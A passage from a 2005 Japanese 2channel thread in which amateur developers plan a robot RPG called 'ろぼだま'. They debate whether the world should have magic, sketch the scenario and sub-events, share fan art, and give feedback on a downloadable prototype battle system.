紅茶 (宗教?)
ダージリン  アッサム  プーアル  チャイ
炭酸 (中立?)
ラーコ  タンファ  ラムネ  ダイサー  ダッソ

そのまま使えそうなのはそのままにしてみたり。
原形が分かるギリギリの名前にするのってむずかしすね

と、書いた後にそんなに町が出てこなそうだから
そんなにキャラいる必要ないじゃん
ってかキャラ多くなりすぎると分けわかんなくなるしなぁ

205 :名前は開発中のものです。:2005/09/05(月) 20:42:19 ID:n6p97+8w
>>202
>まさか盗用とか無いと思いますが、誰か確認お願いできますか?いちおう。
ろぼだまの曲じゃない事は確か

少しだけ名前を変えたらどうかな?

・JUNNER
・Jungle
・じゅん

206 :名前は開発中のものです。:2005/09/05(月) 21:51:29 ID:oIrpGiAG
>>202
名無しだが俺も魔法反対

207 :名前は開発中のものです。:2005/09/05(月) 22:03:05 ID:F9+2nyOO
確か決めた当時、魔鉱石は「魔法なきゃヤダヤダー」みたいなゴネ厨がいて、
妥協案みたいなので軽く出されたのがそのまま採用になったくらいの設定だったと思う。
なくていいよ。興ざめする。

208 :名前は開発中のものです。:2005/09/05(月) 22:11:26 ID:oIrpGiAG
魔鉱石を積むとロボを起動するとき目が光るようになるってのはどう?

209 :名前は開発中のものです。:2005/09/05(月) 22:12:57 ID:F9+2nyOO
だからそういう世界観じゃないと思うんだよね・

210 :名前は開発中のものです。:2005/09/05(月) 22:20:47 ID:oIrpGiAG
起動しても目が光らない世界なのも悲しいな

211 :JUN:2005/09/05(月) 22:25:03 ID:9bFQFWE0
予想してましたが、魔法の有無はやはり議論になりますね。
このままダラダラ続いてもつまらんので、小ネタ出しのついでに色々意見を出してみませんか?
各自好みがあると思いますので、言いたいことは言って、最終判断は8さんに委ねましょう。

>>205
早速の調査、ありがとうございます。助かります。

あとネーミンングGJですw
今、他にはJUNMAOという名前を使ってますが、機会があったら使わせていただきます。

ただいまチャット中...
一言言いたい方、企画参加希望の方、お気軽にご参加くださいな。
http://www.takamin.com/oekakichat/user/oekakichat3.php?userid=138905


212 :名前は開発中のものです。:2005/09/05(月) 22:34:08 ID:tff111UG
普通にバッテリーで良いじゃん。
目光るし

213 :8 ◆jS1vbFJDVk :2005/09/05(月) 22:37:34 ID:YEXlkvjh
>>196
俺はいつでも…そうでもないか。今度こそは本気です。
>>198
武器多いですね!GJ!!
しかしこのドリームを実装するとなるとハードル高い。
できるところからやっていきますので、
長期戦の覚悟をお願いします。
>>199-201
衣替え乙です。とてもそれっぽくて良い感じ。
今後も運営よろしくお願いします。
>>202,206-211
魔法の概念は初代あたりからあやふやでしたね。
この辺できっちりケリをつけましょうか。
あとはチャットの結果次第。
>>203,204
規制乙。勢力ごとに
名前のカテゴリを変えるのはいいアイデアですね。

214 :名前は開発中のものです。:2005/09/05(月) 22:38:56 ID:oIrpGiAG
>>212
バッテリーでもいいよ。
目は光れよって思っただけだから。

215 :名前は開発中のものです。:2005/09/05(月) 23:02:33 ID:1MyuUt9Y
>>208 じゃないけど
人が乗っている時と乗ってない時の差が欲しいなぁ
それが無いと最後に無人で動いたときの感動が薄い希ガス
乗ってないときは ハッチが開きっぱ、手がダラーン、目が光ってない、
とか
乗ってるときは 常に背中から蒸気、とかとか....

216 :ナナシェス ◆ROBOxAwIBM :2005/09/06(火) 07:50:03 ID:ERimqsCt
すいません、>>201書いて速攻フェイズシフトダウンしてました。

>マジック
まあ魔法は根本的に何か変わるというわけでもないので、
どちらでも良いといえばどちらでも良いと思います。
そもそも、魔法も作中では科学なわけですから。

ただこれ以上「我々が見るような」科学を使いたくないんですよね。
密閉されたロボットがある程度キビキビ戦う時点で
すくなくともカメラ・ブラウン管、へたすりゃコンピューターもあることになっちゃいます。
そこを不思議アイテムでごまかした方が楽だなと。

魔法というか、バイオモンスターと特殊鉱石を併せて
「昔、科学技術の暴走によって滅びた文明がある」程度にしておきますか?
主人公たちの年代からみればアーサーCクラーク方式で魔法に見えるレベルの。
これまで捕鯨反対なみに意味不明だった「自然派」の根拠にもなりますし。

ただし、個人的にはこの科学技術がどうのこうのを本ゲーム内で結論まで描くのは
不可能だと思います。あくまでも背景の背景、程度にとどまるかと。

後は適当に
・ろぼだまと魔鉱石と、不思議アイテムが二つ被る。くどいのではないか
・じゃあ普通に戦車で戦えよ、という世界にはしたくない
・何もなくても目は光っていいでしょう。演出です。

…というかもう決まったのかな? どんな感じ?

217 :名前は開発中のものです。:2005/09/06(火) 08:18:54 ID:ERimqsCt
>JUNさん
マジすか。ちょっとこれ以上は無理、という小ささの下限の場所を教えてもらえますか?
何とか変えてみます。

218 :JUN:2005/09/06(火) 09:39:03 ID:97wCc9FX
>>217
いや、決して見えない訳ではないし、具体的な大きさの要望があるわけじゃないです。
上部の空白が気になるのと、白地に灰の文字が(サイズの問題ではない?)見えづらいと思ったのです。
ケチつけてすいません。



219 :名前は開発中のものです。:2005/09/06(火) 11:00:17 ID:goEQcTI2
コソコソ…

情報屋三姉妹イメージ
http://up.php-s.net/up.php?id=tabiji&time=1125969873&ext=.jpg
夕凪の人イメージ
http://up.php-s.net/up.php?id=tabiji&time=1125969922&ext=.jpg

その節は何も告げずに蒸発してしまい、大変ご迷惑をおかけしました。
現状ではこのような支援絵を上げるくらいの事しかできませんが、
これからも密かに応援しております。

ササッ…

220 :名前は開発中のものです。:2005/09/06(火) 11:01:39 ID:goEQcTI2
ギャース、一度削除したからアドレスが違うorz
恥の上塗りだ…

http://up.php-s.net/up.php?id=tabiji&time=1125970832&ext=.jpg

http://up.php-s.net/up.php?id=tabiji&time=1125970860&ext=.jpg

221 :名前は開発中のものです。:2005/09/06(火) 12:33:51 ID:yIJtnWen
>>220
キタ━━━━(゚∀゚)━━━━!!!!!!
うぉぉぉぉぉ
キタ━━━━(゚∀゚)━━━━!!!!!!

とうとう絵師降臨!!!しかも上手い!!GJすぎ!
ミクルたんがツボです
ジルかわいいよジル(;´Д`)

激しく続投希望!

222 :名前は開発中のものです。:2005/09/06(火) 16:28:16 ID:qWmM6gs1
初めて来たけど、こんなスレあったんですね。面白そうだ。

有人無人で目の色が変わるのどうだろう。
スタンバイ(無人)時は黄色かオレンジあたりで、人が操縦桿(あればだけど)握ると青くなって、
暴走とか悪のロボ(何だそりゃ)は赤いの。
んで、バッテリー上がりかけのロボから降りて戦ってたパイロットがピンチになった時
黄色の目が消え入りそうにチカチカしてたのが突然「キュイーン」って青くなってとか。
いっそロボの意思と人の意思がシンクロして緑に光るとか。

223 :zk:2005/09/06(火) 16:40:15 ID:tSYIQQOq
>>222鉄人?ライトセイバー?

でもいいかもしれない。

敵の動きが止まって見えるときは緑?

コックピットからは見えないorz
操縦席にランプがついてればそれの色か。

224 :zk:2005/09/06(火) 16:45:43 ID:tSYIQQOq
今いいこと思いついた。
ろぼだまは魔鉱石を加工したもの、とすれば被らない気がする。

昔は魔鉱石をそのまま使っていて、いろいろ問題があり、そのうちにろぼだまとなった。みたいな。

連投御免orz

225 :名前は開発中のものです。:2005/09/06(火) 19:34:49 ID:h6JonFEI
>>219
190氏降臨&投下キタキタキタキタ━━━━━━(゚∀゚)━━━━━━ !!!!!
乙です!!

226 :名前は開発中のものです。:2005/09/06(火) 20:06:30 ID:yyQQg31u
ジラルダ萌

227 :名前は開発中のものです。:2005/09/06(火) 20:29:06 ID:ERimqsCt
まずは一本道で、という話ですが
その一本をどの一本にするか決めましたっけ?

帝国が統一するということでOK?

あの状況から統一というのは相当長い話になると思いますが。

228 :名前は開発中のものです。:2005/09/06(火) 21:12:28 ID:ZkFerM5p
>>220
相変らず上手いですなぁ
ちょっと絵柄が変わった感あるような

229 :( ´∀`) ◆9mfk.Z6Wmc :2005/09/06(火) 21:28:10 ID:VTL7Qkf2
>>219
190さんでしょうか
その節は私が迷走したせいでご迷惑をお掛けしました
190さんに作っていただいた画像、ドットはスレの宝です
特にロボドットはどこのサイトを探してもあれだけ
素晴らしいものは無いでしょう
またこれからも遊びにいらしてください

230 :名前は開発中のものです。:2005/09/06(火) 21:29:45 ID:S1SnozFN
ちょっと気持ち悪い

231 :8 ◆jS1vbFJDVk :2005/09/06(火) 22:50:05 ID:rezC+DhX
>>215
確かに、ドライバーが降りた後も立っているロボは不自然ですよね。
ハッチが開いたり、しゃがんだりしてるとわかりやすいのでは。
>>216
実をいうと、まだあやふやだったりします。
>>219-220
お久しぶりです。そして情報屋&ジラルダGJ!
これからも密かな応援を期待しつつがんばります。
ところでこの画像は加工などしても大丈夫ですか?
>>222-223
ロボの状態で目の色が変わるのはいいですね。
操縦席のランプでドライバーが目の色を確認できるというのもよさげ。
>>224
ろぼだまの原料が魔鉱石、いいアイデアです。
>>226
同意。
>>227
結果として帝国統一、過程は未定といったところです。
以前の案はマルチシナリオ前提だったので、練り直しが必要でしょう。

232 :いつかの190(219):2005/09/07(水) 07:39:48 ID:I03/OZq2
>加工
私の投下した絵や素材等などは全て(以前出したものも含めて)、
この企画内で自由に使って下さって結構です。ばりばり加工OKということで。

>絵柄
色の塗り方がちょっと変わったと思います。以前より多分、多少はマシに;

233 :ナナシェス ◆ROBOxAwIBM :2005/09/07(水) 19:36:52 ID:JSPHIljz
>>232
ありがとうございます!


なんか肝心のゲーム部分に魅力が無さすぎな気がします。

234 :8 ◆jS1vbFJDVk :2005/09/07(水) 23:45:39 ID:JpGKTsis
サブイベントのようなものを実装中。まずはドリチン。
>>232
了解しました。
>>233
まだまだ未完成とはいえ、魅力を感じられないのは
ゲームとして致命的ですね。ありがとうございます。

しかし、今からシステム実装を再開するとなると
作業時間が大変なことになってしまう。どうすればorz

235 :名前は開発中のものです。:2005/09/07(水) 23:52:24 ID:DG5X2HGX
>>233
なら抜ければ?

236 :名前は開発中のものです。:2005/09/08(木) 01:24:18 ID:LjkoX6bi
>>234
ゲームの面白さって、何も戦闘だけじゃないですし。
手を付けられるとこからやれば良いと思いますよ。
上の方で出てるカードシステムとか、きちんと作ればそれだけで遊べそうなくらい、可能性のあるネタですし。

音楽システムGJです。戦闘中に聞けるってのは面白いですね。
ボス戦とかで、特定の音楽を流すとイベント発生とかどうでしょうか?
負けそうなとき、ヒーロー系の曲を流すと底力がでるとか
敵の思い出の曲を流すと、一瞬ためらうとか...

ドリチンの話がどんな風に展開するのか、楽しみです。
ドリチンを欲しがってる男の話になるのでしょうか。

237 :名前は開発中のものです。:2005/09/08(木) 03:11:33 ID:TQ6wgpD7
ゲームの面白さは戦闘だけじゃないけども
RPGの楽しさは戦闘ではないかの。
ロボット物だとカスタマイズが楽しいのかもしれんけど。

238 :名前は開発中のものです。:2005/09/08(木) 07:46:41 ID:rzHuS2iB
個人製作のRPGじゃあ、いくらストーリーに凝ってもシステム周りを工夫しなけりゃやってすらもらえない。

239 :ナナ:2005/09/08(木) 14:08:53 ID:TGEBGVk3
すまん、ちょっと落ち込んでたみたいで不用意なことを言ってしまった。
ただシステムの練りこみが足りないという事は今も思ってる。
これでグラフィックスがついて改造できて距離の概念が付けば面白いのか?
というのが疑問なんだけどみんなはどう? …って今訊かれてもわからないかな。

・別件
面白いかもしれない改造システムを思いついたのでサンプル作ってみる。
思いついたっていうか8が言ってた案の改変で
テトリス状のパーツをパズル的に上手く配置しる! というよくあるパターンだがw

パーツ交換によってロボの外見を変えることが技術的に不可能である以上、
腕や足をパーツごと交換するという方式にこだわる必要性はあまりないと思うんだ。

240 :名前は開発中のものです。:2005/09/08(木) 14:27:54 ID:TGEBGVk3
>しかし、今からシステム実装を再開するとなると

混乱させてすみません。8さんの実装は今の方針でいいと思います。

あらゆる面で世界観やキャラ先行、雰囲気先行になっている感があったので
もう少しゲーム部分のことも考えていけたらいいかなと。

241 :名前は開発中のものです。:2005/09/08(木) 17:15:03 ID:zYoOZzc/
まあ、しばらくは雰囲気先行でもいいんでない?
せっかくネタ師も集まってきたことだし...
特に190氏の再来は、今の流れなくしては実現しなかったろう(と妄想)

システムを作るって言っても
>>239みたいに、現在のシステム案に対する問題を考える機会すら無かったし...
ネタ出しのついでに、具体的な改造システムの案とか、考えてもいいんでない

242 :8 ◆jS1vbFJDVk :2005/09/08(木) 22:25:20 ID:u9Fiu66Q
SDガンダムガシャポンウォーズがすごく気になる。
>>236
戦闘中に音楽聞くって今までにないかと思って
俺も少し気に入ってます。曲もいいし。
音楽でイベント発生というのも面白いですね!
>>237-238
そうですか、ならばシステム実装にはいっそう力を入れねば。
もう少し後の話になりますけども。
>>239-240
システムの練り込み不足は確かに思っていました。
初代スレからずっとシステム関連のアイデアはあったんですが、
実際に遊べるものが作られなかったから
意見の出し合いようがなくなって保留、
という流れを延々と繰り返していましたね。
具体的なプロトタイプが投下されれば、それについての
議論も白熱するのではないかと思います。
とまあ早い話、サンプル期待して待ってますワクワク
>>241
190さんの再来は本当にうれしいですね。
このスレに初めてイラストを投下してくださった人ですから。
>ネタ出しのついでに、具体的な改造システムの案とか、考えてもいいんでない
そうですね。具体的とはいかないまでも、
システム面のネタは出てきてほしいものです。

243 :111:2005/09/08(木) 22:52:18 ID:AzLeRrSC
中立国と真珠が特産だけで妄想してみた。

中立国にはこの世界最大規模のマーケットが存在する。
帝国・自然・宗教同士のやり取りが無い中、中立と言う立場から
ここへ各国の商人がやって来て多彩な市場になっていった。
国外追放者たちもここにいるとか面白いかも。

入国時に銃や刃物などの武器やロボットのキー?は取り上げられ、
国内での制限がある。中立国内でごたごたが無いようにするためだ。
もちろん出国時には返してもらえる。

主人公の町の特産品の真珠をマーケットに運ぶためにできた
パールロードという中立まで繋がる大きな道がある。
もちろん真珠以外のものも運ぶ。
(シルクロード的なイメージ)
賊に襲われないうに護衛クエストってのもいいかも。

244 :名前は開発中のものです。:2005/09/08(木) 23:02:06 ID:7xM0KKxw
帝国の大陸統一が目前ってところからスタートしていいんだよね?
亡国の残兵の最後の抵抗が行われている最中にあたるし
中立国へ帝国がなだれ込むタイミングもそれと近い時期に合わせられる
主人公をおいしい場面へ導くならここらへんからはじめたほうが作りやすいと思う

245 :名前は開発中のものです。:2005/09/08(木) 23:06:08 ID:7tPqsSW7
ミュージシャンをデビューさせるサブイベントとかどうだろうと思った。
ライブとかの時にならず者が襲ってきてそれを撃退とか。
さらにボーカル代がかかるかも知れんが・・・
当然成功すると曲カード入手。

246 :名前は開発中のものです。:2005/09/08(木) 23:17:23 ID:TGEBGVk3
確認だけど今のところ名前が出てる各国は帝国の支配下じゃないよね?
まぁ公式の地図の国境は僕がテキトーに割っただけでアレなんですが…

それを差っぴいて見ても 全ッ然 統一寸前じゃねぇよな。
むしろ、今までにどっか攻め取った事あるの? って感じで。

何かこの辺よく考えてなかった気がする

247 :名前は開発中のものです。:2005/09/08(木) 23:26:11 ID:7xM0KKxw
宗教国は左上にしたほうがよくない?
鉱山が豊富で大量のろぼだま持ってるから帝国に攻められないんでしょ?
自然国は侵略の跡を記したほうがいいかも

248 :名前は開発中のものです。:2005/09/09(金) 00:01:37 ID:xNdTB8Lz
>>245

プロの歌手を目指して、田舎からはるばる帝国までやってきた少女、アンナ(ANNA)。
持ち前の美貌とカリスマ性で多くのファンを虜にし、今や帝国随一の歌姫として名を知られるほどになった彼女が、主人公達に依頼に来る。

「ロボ乗りのなんでも家ってのは、あんたら?」
「今度、首都で大きなライブをやるんだけどね。本番中の警護を頼みたいんだ」

大きな後ろ盾の無いアンナには、敵が多い。
アンナを自分の会社に引き入れるために、多くの会社がなりふり構わずアピールしてくるのだ。
特に大手の”エミー”と”アヴェックス”の2社は、ロボを使った暴力的なアピールでアンナ達を困らせる。物的被害もかなりのものだ。

「あいつら、きっと今度のライブの最中も派手にやらかすと思うんだ」
「やつらを会場の外で食い止めて、ライブを成功させてくれ。」

...で、本番中にやってくる2社のロボをちぎっては投げちぎっては投げ、最後はボス格2体と同時に戦うことになる。
というのを妄想した駄文スマソ

249 :名前は開発中のものです。:2005/09/09(金) 01:22:02 ID:v2bat89r
アヴェックスワロタ

250 :名前は開発中のものです。:2005/09/09(金) 07:09:39 ID:xFRHWc+a
主人公たちが戦局を変えないってなら
帝国軍の新型テストの秘密部隊との
戦闘ってのどうよ
そうすれば 局地戦みたいになるし
ボスとかもいろいろつくれるのでは?
だめかな?


251 :名前は開発中のものです。:2005/09/09(金) 16:07:24 ID:wCMoBPg7
7人の聖者で7人分は引き伸ばしできるな。

252 :名前は開発中のものです。:2005/09/09(金) 16:29:45 ID:UWXIRxeZ
エンディングが帝国軍統一なら戦争を引き伸ばそうとするジラルダたち姉妹団とは対立するな

253 :名前は開発中のものです。:2005/09/09(金) 16:52:36 ID:wCMoBPg7
やっぱり一度知り合う→敵として対峙の流れは外せないと思うんよ。厨臭いかもしれないけど。

254 :ナナシェス ◆ROBOxAwIBM :2005/09/09(金) 19:24:58 ID:v8XyG/9C
今日チャット希望してみる

チャットやカキコで製作進んでる気になっちゃうのも危険だけど、
だからと言って作業に集中しようとして
口を閉じるとどんどん盛り下がっていくんだよな。

255 :名前は開発中のものです。:2005/09/09(金) 21:59:52 ID:SAQkHHQc
>>248
爆笑
ANNAてw
時事ネタはあり?

>>253
燃えるね
でもそれやるとジルと萌えられなくなってしまう罠

多分、夕凪の姉妹団に共感できるプレイヤーってあんまり居ないんじゃないか?
このご時世だし
主人公の中立性を高める為に、
姉妹団と関わった場合は「>>一度知り合う→敵として対峙」の悲壮な話になって、
関わらなかった場合はただの女キャラのボス
っていうのはどうだろう





256 :8 ◆jS1vbFJDVk :2005/09/09(金) 23:41:58 ID:Sgc3qBRe
今帰宅スマソ
>>243
設定としてすごく面白いと思います。
アイテムのほとんどを売買できるポイントとして
中立国が機能すれば便利ですしね。
>>244
そうですね。決戦寸前、嵐の前の静けさというか。
>>245,248
男言葉の歌姫にちょっとワロタ
シチュエーションとして面白いので、
早めにイベント組み込んでみようかと思います。
>>246-247
確かに、勢力図は書き直す必要ありますね。
宗教国も左上のほうが地理的に違和感ありませんし。
>>250
なるほど。主人公と親友のコンビに対して
帝国軍テストパイロットと技術者のコンビ。
キャラによっては名ライバルになるかもしれません。
>>251
聖者とのバトルがあればボス戦バリエーションは増えますが
7連戦はさすがにツラすぎやしませんでしょうかw

257 :8 ◆jS1vbFJDVk :2005/09/09(金) 23:54:30 ID:Sgc3qBRe
続けます。
>>252-253
そういった王道こそ、ろぼだまにはふさわしいと思います。
>>255
時事ネタ下ネタどんとこい。
>ジラルダ
ただの悲壮な話ではあまりに救われないような…
それに、萌え属性として間口が狭いし。
シナリオさんの手腕に期待するか、
それともスレでとことん議論するか。

愛・地球博の帰りなので疲れて変なこといってるかもしれません。

258 :名前は開発中のものです。:2005/09/10(土) 02:07:37 ID:mA1s/4JB
どうも遅くまで引き止めてしまってホントにすみません。

■今日の報告というか所見 今日は主にシナリオ面について。

結構それぞれの頭の中の「ろぼだま!」に相違がある。
おまけに、お互いのそれを完全に説明して理解しあうのも難しいっぽい。
そこで「詳細な世界設定と最初っから最後までのストーリーを書いて来て!」と
言ってしまったけどよく考えたらこれってかなり無理な注文だ。
二人はとても重要な仕事があるし、僕だってそれなりに重要な仕事がある。

やっぱり僕たち3人とは別に、シナリオ面について責任者が必要な気がする。
それも、最終的に具体的なシナリオを書ける人。

まとめ
・宿題は無理そうならスルーで
・人材ホシス

259 :名前は開発中のものです。:2005/09/10(土) 02:09:23 ID:mA1s/4JB
>住人各位

まとめサイト、あるいはまとめそのものに対する不満募集中。
腐るほどあるだろうが、まず何が求められているのか教えてください。

260 :ドリームリーダー763:2005/09/10(土) 02:14:02 ID:imAaIlQq
ラストスパート・・・・!

261 :ナナ:2005/09/10(土) 02:42:50 ID:mA1s/4JB
>>258は俺です

>>260
ガンガレ!

262 :JUN:2005/09/10(土) 20:48:07 ID:HboE1LBb
昨日のチャットで話し合われたことをまとめてみる
<議題>
シナリオについて。
主人公視点から見た大まかなプロットは

1)「平凡な日常に飽いた主人公は、友人に誘われて自分の”夢”を追う旅に出る」
2)「ロボットへの情熱に目覚めた主人公は、友人の作ったロボットに乗って、何でも屋をしながら旅をする」
3)「旅先で様々なものを目にし、色々な人と出会う」
4)「戦争が佳境へ。主人公参戦」
5)「エンディング」

といったところでしょうか。
1〜3は、現在作られている導入部と様々な小シナリオによって表現されます。
(ここは小ネタの集まりによって作られる部分なので、今は考えなくても大丈夫でしょう)

問題は4〜5。
「なぜ、主人公は戦いに参加する事にするのか?」
 (参戦の動機。巻き込まれ型でも良いですが、できれば主人公の意志を表したい)
「何と戦うのか?」
 (戦争の中で、明確な悪というのは提示しにくいでしょう。すっきり倒せる敵を提示したい)
「戦った末、何を失い、何を得る?」
「そして主人公はどうなる?」

具体的なシナリオ作りに入る前に、この骨組み部分をしっかりさせなくてはなりません。
この4つの項目についてアイディアがある方、どんどん意見お願いします。
シナリオ師の登場を、切実に期待しております。

263 :JUN:2005/09/10(土) 21:04:46 ID:HboE1LBb
「魔法」の扱いについても話し合われました。
私なりに、現在の問題点をまとめてみます

――そもそも、魔法とはなんなのか?
これだけでも、様々な取り扱いがあります。

・超能力
例えば、呪文を唱えると炎が出る。等、ファンタジー漫画やゲームに登場する超能力。
多くの場合、「精霊の力を借りる」「精神の力で現実を変容させる」というように
自然に優しいイメージ、科学文明と対立するイメージが付随するようです。一昔前のポストモダン的な考えに似ています。

・現在の技術を遥かに超えた(または異質な)技術
「進みすぎた科学技術は魔法に等しい」といった作家がいましたが、
例えば「古代に存在した、我々より高い文明を持った種族の、失われた技術」「異星からもたらされた超技術」など
”我々から見ると魔法に見える”技術を魔法ととらえる、というアイディアもたくさんあります。

・説明体系
観察と実測による説明体系「科学」とは異なる、事物の捉え方。
例:事象「王様が死んだとたんに、王国には嵐と雷が吹き荒れた」
魔法は「王の死を精霊たちが悲しんでいる。皆で王の冥福を祈れば止むだろう」
科学は「王の死とタイミングが重なって台風が上陸。高所に避難しましょう」
現実には、魔法とはこのようなものだと理解される場合が多いようです。あとは異民族蔑視とか宗教迫害とかそんなの。

下に行くにつれて、現実味をおびた設定になります。
ろぼだまには、どの程度の認識がふさわしいでしょうk?

264 :JUN:2005/09/10(土) 21:12:40 ID:HboE1LBb
そもそも、魔法を登場させる意味とはなんなのでしょうか。

1)ファンタジー的世界観の演出
 どんな話も、超能力的魔法を登場させるとファンタジー色を帯びます。指輪物語やD&Dに近づきます。
 ろぼだまには、このようなファンタジー風の世界観が似合うのでしょうか?

2)現実にありえない技術を存在させるための理由として
 魔法を持ち出す事で、難しい説明を省きます。
 
メカの設定はどうすればよいのでしょうか。
詳細に、現実的な設定を作り込むと「ボトムズ」みたいなハードな世界観に近づきます。
魔法で適当に説明するとファンタジーになります。
どちらが似合いますかね?または、この辺を説明する新しいギミックや折衷案はありますか?

魔法に対する意見も随時募集中です。
8さんが気に入るような、このゲームらしいアイディアが浮かんだらどんどん意見してください。
お待ちしております

長文・駄文失礼

265 :名無しさん@そうだ選挙に行こう:2005/09/10(土) 21:12:51 ID:+g9RtAcC
>>262
大陸が戦争の真っ只中にあるのに平凡ってどうよ?無理ありすぎじゃね?

266 :名無しさん@そうだ選挙に行こう:2005/09/10(土) 23:09:21 ID:Vg53Oj1t
>>265
戦争の規模次第じゃねーの
あとは主人公の旅立つ時は開戦前とか
屁理屈は何とでも

267 :名無しさん@そうだ選挙に行こう:2005/09/10(土) 23:17:19 ID:tvmqxIXT
>>262
戦争は難しいから、別のものに変えたほうがいいかな。
たとえば、天下一武道会みたいのとか、No.1の賞金稼ぎが目標とか。

魔法には反対
動力は電気で交換バッテリーによって動くほうが、リアルだと思う。


268 :名無しさん@そうだ選挙に行こう:2005/09/10(土) 23:30:31 ID:Rtges39Z
>>265
主人公は今んトコ孤島出身/在住て事になってるはずだし、
戦争の本格化はゲームが始まってからになる予定と言ってたが。

>>JUN氏、8氏
チラ裏っぽくて申し訳ないけど、何となくつらつらと。

「なぜ、主人公は戦いに参加する事にするのか?」
ていうか結局どっちに付くの?(※ 帝国に与する主人公は正直想像できない)
「能力を示す」「期待に応える」じゃ無邪気すぎるでそ。悲しいけど戦争なんだし。
義理人情や恋愛要素で村一つ守って抵抗(前から言われてる七日間戦争)か、
早い段階で先の理由で戦争に参加させてとっとと挫折させた後で何でも屋に持っていくくらいしか思いつかないというROMのチラシの裏。

「魔法はどうする?」
かつては確かにあった(超・超能力級)が殆ど失われ、今は魔石を燃料代わりに利用するので精一杯、
というのがこのスレとサイトを見てて抱いた印象。

スチームパンクの蒸気機関みたいに現実より遥かにエネルギー効率がいい(小型で高出力)って所だけ嘘ついて
あとはリアルっぽく(所謂リアルロボット路線)行くのが確立した共通認識とばかり思ってたんだけど。
そこから組み立て直すの?

269 :名無しさん@そうだ選挙に行こう:2005/09/10(土) 23:34:48 ID:Rtges39Z
それと、魔法を完全に根絶してやり直すと世界観がファンタジーから離れて
せっかくのイラストの何枚かが無駄になると思うんだけど。

まぁファンタジー路線だとロボデザイン案が多数没る恐れ大だけどねw

270 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 00:17:15 ID:n7w7KB5Q
>>268
開戦から始めるのはストーリー的に展開が遅すぎるんじゃないの?
既にそういう指摘も出てたと思うけど

271 :ドリームリーダー763:2005/09/11(日) 00:17:22 ID:rn6yqFcm
だっしゃらぁぁぁぁ
ttp://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi10254.zip.html

バグとか不満とかいろいろ報告お願い
まだ追加するつもりではあるけどなんか微妙・・・

272 :ドリームリーダー763:2005/09/11(日) 00:23:15 ID:rn6yqFcm
簡単に操作を説明すると
矢印キー↑↓で動き、←→でロック対象の切り替え
Zで攻撃体制、←→で武器選択、再びZで攻撃、Xで攻撃態勢解除

273 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 02:08:32 ID:McMAKbmi
>>271
やってみた。
遠距離武器でごり押しが効く
というより、接近して格闘武器を使うメリットが少ない?
近づく間に攻撃されるから、シールド装備で攻撃態勢だとダメージ軽減とかあればよい?
なんにせよ、距離とって射撃が安全だから逃げ撃ち最強。
フィールドの広さを決めて移動領域を制限すればよいかもです。

あと8さんの作ってるのとコレって共存できるの?

274 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 02:12:12 ID:xn612fzf
>>273
>あと8さんの作ってるのとコレって共存できるの?
これでも見て考えるんだな
ttp://michi.sakura.ne.jp/up/src/rpg0645.zip

275 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 07:09:52 ID:Nlb1Cacc
>>274を張りなおした
ttp://michi.sakura.ne.jp/up/src/rpg0647.zip

276 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 11:34:36 ID:/MKljLWg
>>271
ついに来たーーー!!!
GJ!!!

>>273でも指摘されてますが、格闘武器があんまり強くないですね。
格闘武器を一撃必殺くらいに強力にして、移動中は無防備にしたら
射撃>安全だけど弱い 格闘>強力だけど高リスク とバランスがとれるのではないでしょうか

あと、逃げ勝ちを防ぐ為に超・長距離武器を設定するのはどうでしょう。
逃げ続けるとミサイルくらって一撃死とか。





277 :ドリームリーダー763:2005/09/11(日) 14:35:31 ID:8MpIZVp/
レストン
>>273、276
確かに近づく前にやられてしまう、なんで気付かなかったんだ
ttp://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi10296.zip.html
射撃武器の威力を抑えてみた、まだ強いか?
それと敵行動パターンも一部変更

278 :ドリームリーダー763:2005/09/11(日) 14:45:30 ID:8MpIZVp/
忘れてた
>>273
本当は移動領域制限はもうかかってます、レーダーにも表示させないといけませんね
>>276
目的が遠いほど命中率が上がるような
バズーカ系の武器を考えています

うーん射程外の命中率もっと下げたほうがいいかなぁ
そもそもライフルの射程が長すぎか?
装甲のダメージ軽減をもっと増やそうかどうしよう

279 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 15:53:00 ID:n7w7KB5Q
>>278
弾をオブジェクトにして避けられるようにする
ブーストで回転、前進を効果的に行えるようにする
これだけでも大分違うと思うよ

擬似アクションゲームみたいな感じ

280 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 17:11:18 ID:idRJVZBJ
なんかスルーされてんな、ツールはツクールXPだろ?
脱ツクールしたいならそれはそれでいいけど、半端な状態が続くとエターなる。
っていうか8のWin壊れた?

●その11
ttp://michi.sakura.ne.jp/up/src/rpg0648.zip

281 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 17:52:42 ID:5a3eFSLl
サガベースウザスギ
氏ねよ

282 :ドリームリーダー763:2005/09/11(日) 18:11:07 ID:8MpIZVp/
>>279
そりゃ大分違うだろうけどプログラムも大分違うわけで・・・
とりあえずダッシュとかのスキルを追加しようと思う
大分長引きそうだけど

283 :111:2005/09/11(日) 18:12:26 ID:LNZXfGX2
>>259
クリエイターズサイドの進行状況をもっとくやしく。
決定事項と仮決定と募集中とかに分けてもらえると
こっちとしても案を出しやすいはず。

主人公の立ち絵は有るけど、ドット絵の方が無いから
募集とか書いてあるといいかも。

名前 デザイン ドット 性格 etcとかを○ △ × の表にしてもいいかもねぇ〜

>>263
ちょっと論点ずれるけど
魔鉱石=電池、ろぼだま=モーターor動力源な考え方で
魔鉱石には属性(火・水etc)が宿っており
攻撃の時相手との属性で多少威力が変化。
格闘攻撃のさい 炎のパンチ とか属性の必殺技がでるとか。
味方と同じ属性だと特定の技が使えるとか。
〜地方は火の魔鉱石を使ってるロボが多いとかさせるといいかも。

魔鉱石自体にも補正つけるのも面白そう。
火なら攻撃が1.1倍とか、風ならマップ移動がちょっと早くなるとか。
あくまでちょっと。

魔法は自発的に人が出すよりも自然に転がってる感じかなぁ

284 :名無しさん@そうだ選挙に行こう:2005/09/11(日) 18:31:50 ID:5a3eFSLl
>>259
キャラ案とか、クエスト案とか、単独でまとめられた案をきちんと網羅してほしい。埋もれすぎ。


285 :ナナシェス:2005/09/11(日) 19:33:06 ID:0MCKDtC6
っていうか現在のまとめ役(サイト制作ではなく)って誰なの?

情報まとめようとしても俺自身が色々解かってなさ過ぎる

